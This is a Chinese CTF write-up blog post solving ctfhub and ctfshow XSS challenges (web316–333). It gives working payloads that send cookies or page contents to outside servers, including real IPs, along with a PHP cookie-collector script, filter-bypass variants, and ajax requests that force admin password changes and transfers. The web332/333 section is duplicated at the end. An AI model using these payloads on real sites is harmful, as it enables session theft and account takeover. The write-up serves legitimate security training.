XSS
ctfhub 反射型xss
做了第二遍,还是看了wp之后才看懂,发现自己还是太菜了,完全没思路
这里看下理解之后的解题过程
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KWV86jeQ-1648285193536)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323220334331.png)]
打开之后,是这样的一个网站,已经知道是XSS了,第一步先输出js代码看能不能执行
<script>alert("xss")</script>
发现是可以执行的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQfr0Ial-1648285193538)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323220540596.png)]
第二个输出框有试了一下,会回显一个success(我到这里就懵了,不知道是干啥的,看了之后才知道这是发送给后台了;寄!!!)
看别人的博客的意思是,后台会把发送过去的数据当成js执行(可能根据题目知道的,毕竟题目就是XSS反射型),到这,我们就需要构造一段恶意的js代码来获取后台的cookie了(flag大概率在cookie中,事实证明也是如此),如果自己没有恶意的js代码,可以访问下面,制造一个js恶意代码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0MsdF3L-1648285193539)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323221359756.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0ZT3u2No-1648285193540)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323221428759.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PS1PxAfq-1648285193542)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323221455083.png)]
将最下面的js代码复制,将题目url拼接,记得加上?name
为什么要这样弄?
如果你随便弄个url:http://www.baidu.com?name=js代码,后面的js代码不会执行而想上面呢样构造,相当与在第一个输入框中输入js代码,只不过一个获取的是自己的cookie,一个获取的是后台的cookie了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tSSOS134-1648285193542)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220323221815849.png)]
ctfshow
web316
反射性xss
先说下这个题的坑,这个题需要admin权限;如果用网上的xss平台,相当于自己插自己,没有权限,得不到flag,所以要自己写个脚本来获取flag
在自己服务器上写了一个脚本x.php(我是在外网服务器上写的,本地没有权限就没试)
<?php
$concent=$_GET[1];
if(isset($concent)){
file_put_contents('flag.txt',$concent);
}else{
echo 'nonono';
}
?>
再将xss语句写入
<script>document.location.href='http://xxxx/x.php?1='+document.cookie</script>
直接查看flag.txt文件即可
为啥不能用xss平台!!!
搞了几个小时,问了群主,终于明白了,原先的思路是
访问用xss平台构造的js代码后,后台bot每过几秒钟也会访问一次,并将后台的cookie返回到平台上,但是在平台上却没有发现后台的cookie,
问了群主才知道有可能是js代码问题(完全没想到是这么回事),如果后台执行js代码,失败就不会后台的cookie,相当于自己x自己了
这样就只出现了我们在客户端时得到的cookie
解决方法:换个平台或许可以,最好还是用自己搭建的,一次就成功了
为什么执行js代码会失败?!!!
看到群主 web322视频时才知道,原来过滤了地址中的xss
字符,意思就是如果你的地址中有xss的话,那么这个js代码就会执行失败,我还以为过滤了xss
是不能出现xss,原来是地址中不能出现
笑了,搞了半天,tm的是我理解有问题
web317
<script>alert(1)</script>
没有反应,网上博客说是过滤了script,换其他的写法就行
payload:
第一次: <body onload="window.location.href='http://xxxx/x.php?1='+document.cookie"></body>
第二次: <img src="随便在网上找个图片" onload="document.location.href='http://xxxx/x.php?1='+document.cookie"/>
<img src="不可能存在的图片" onerror="document.location.href='http://xxxx/x.php?1='+document.cookie"/>
web318
试一下上一题的payload
发现用img,没有没有执行,应该是过滤了img,换一个
第一次 <body onload="window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie">22</body>
第二次 <iframe onload="document.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie">dsadsad</iframe>
我主要使用的是onload事件属性,过滤了img,再换一个支持onload属性的标签就行(前提是onload没被过滤了)
支持onload事件的HTML标签有:“body”、“frame”、“frameset”、“iframe”、“img”、“”、“link”、“script”、“style”。
web319
不知道又过滤了啥
payload用上面两个都行,这个脚本可以实现通杀,因为一般都不会将这个标签过滤(不是我说的)
web320,321,322
试了半天不知道过滤了啥,空格被过滤了,换成注释符,(/),tab即可。如果有其他的,之后再补充
第一次:<body/**/onload="window.location.href='http://xxxx/x.php?1='+document.cookie">222</body>
第二次:<body/onload="window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie">22</body>
320,321,322写在一起是因为同一个payload能一直过,而且不知道增加过滤了什么
web323,324,325,326
过滤了iframe,肯定过滤的不止iframe,但是不知道过滤了啥,看群主视频,一个payload一路通
payload
<body/onload="window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie">22</body>
据y4师傅说324过滤了;
,325过滤了.
,326过滤了括号
web327
存储型xss(前端—>后端---->数据库----->后端----->前端)
变成了信的格式
试了几次,都是网络拥堵,麻了,思路还是没有打开
看视频,收件人必须是admin,可以在发件人或者内容处写上payload,想不到(因为要获得管理员的cookie,所以收件人是admin,哈哈)
payload:
<body/**/onload="window.location.href='http://xxxx/x.php?1='+document.cookie"></body>
web328
第二次:
整理下思路,现在是能注册,能登陆,但是要看用户信息需要管理员,盲猜flag在用户信息中,现在需要的是管理员的cookie就可以查看用户信息了
现在是拿管理员cookie,有个这样的页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VYByowhw-1648285193543)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220325202232075.png)]
当我们注册后,就会把我们的信息显示到这里;注册一下,登陆
试了半天,发现上面的payload不能用,回到最原始的
<script>window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie</script>
成功拿到管理员cookie,替换cookie,但是应该用admin登陆会执行我们的js代码,发生页面跳转,所以我们要抓取没跳转之前页面,burp抓包就可以,
注意:要抓取的是http://c059afd5-89e7-405b-8dd2-499876300c26.challenge.ctf.show/api/?page=1&limit=10
这样的
第一次:
变成了登录框,先随便注册个账号,登上去发现需要管理员的权限才能查看账号密码,如果我们将js语句写入账号或者密码中,只有登陆管理员账号才能执行js语句,所以我们第一步要先获取管理员的cookie,注册个账号,账号或密码为
<script>=window.location.href='http://82.157.161.5/xiaobai.php?1='+document.cookie</script>
个人猜测,当注册成功时,后台服务器会进行刷新,从而执行js语句,得到管理员cookie
得到管理员cookie后,将我们自己的cookie改为管理员的,点击用户管理,bp抓包(注意有两个数据包,我们要的是后面的数据包),得到flag
web329
第二次:
页面和上一题一样,但是用同样的方法得到的cookie却不是管理员的cookie,换了js代码试了,发现还是不行,原来群主设置管理员访问完页面之后cookie就失效了,拿不到cookie,那我们就直接拿管理员页面下的网站内容
<script>window.location.href='http://82.157.161.5/xiaobai.php?1='+document.querySelectorAll(".laytable-cell-1-0-1")[1].innerHTML</script>
这个js代码的意思是拿取第二个class为laytable-cell-1-0-1的标签内容
为什么拿这个?
因为这个标签内容就是flag,至于怎么找到的,F12慢慢找
第一次:
和上一个题一样都是个登陆页面,刚开始步骤一样,注册个js语句的账户,查看管理员的cookie,修改cookie,bp抓包,但是抓包之后查看数据还是不行,猜测应该是后台管理员每访问一次都会登出,使得我们获得的cookie无效
我们可以写个js语句,直接将flag发送到我们的服务器上,而不是cookie
payload:
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1){window.location.href='http://39.107.88.196/x.php?1='+value.innerHTML;}});</script>
注意:如果有步骤失败,最好重启容器,防止污染数据,eg:之前注册了获取cookie的账号,呢么每次访问时都会向我们的服务器发送cookie,从而使我们得不到flag
web330
第二次:
比上一个题多了个修改密码的功能,用上一题的方法得到的都是******
,登陆之后才能修改密码,登陆的我们的账号,只能修改我们的密码,但是我们想要的是管理员的密码,但我们自己又不能修改管理员的密码(因为要先登陆),所以就只能管理员改自己的密码了
抓包,看下修改密码的url是什么
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V2zFGUR7-1648285193544)(C:\Users\ASUS\AppData\Roaming\Typora\typora-user-images\image-20220326092917632.png)]
修改密码的数据包是这个(我傻乎乎的在看源码发送数据到哪)
<script>window.location.href='http://127.0.0.1/api/change.php?p=111'</script>
等一会,再用admin登陆
用容器的url地址,没有成功,母鸡哎
第一次:
比之前多了项修改密码,意思是要我们修改密码,呢要修改谁的密码才有用呢,肯定是管理员的,如何修改
我们可以bp抓取修改密码的数据包,因为要求管理员改自己的密码,那地址就是127.0.0.1
payload:
<script>window.location.href='http://127.0.0.1/api/change.php?p=111';</script>
密码修改成功后登陆,bp抓包,看flag
web331
第二次:
功能和上个题一样,但是修改密码改成了POST传参
用js实现post传参,用到了ajax
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'111'}});</script>
第一次:
修改密码时,改为了POST传参
payload:
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>
web332
第二次:
多了转账汇款,个人账户,购买flag,flag变成要买的了
注册个账号,刚开始有5快,试了试给自己转钱,发现不掉钱而且钱还多了,直接开转;转了差不多10次,转了10000
第一次:
变成了购买flag
非预期解:注册两个账户,用其中一个给另一个转账-99999,就可购买flag
web333
第二次:
还是可以自己给自己转
第一次:
非预期解:存在逻辑漏洞,注册个用户,然后给自己转账
预期解:
注册个账户,让管理员给我们的账户转钱
payload:
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>
参考:
购买flag,flag变成要买的了
注册个账号,刚开始有5快,试了试给自己转钱,发现不掉钱而且钱还多了,直接开转;转了差不多10次,转了10000
第一次:
变成了购买flag
非预期解:注册两个账户,用其中一个给另一个转账-99999,就可购买flag
web333
第二次:
还是可以自己给自己转
第一次:
非预期解:存在逻辑漏洞,注册个用户,然后给自己转账
预期解:
注册个账户,让管理员给我们的账户转钱
payload:
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>
参考:
https://blog.csdn.net/solitudi/article/details/111568030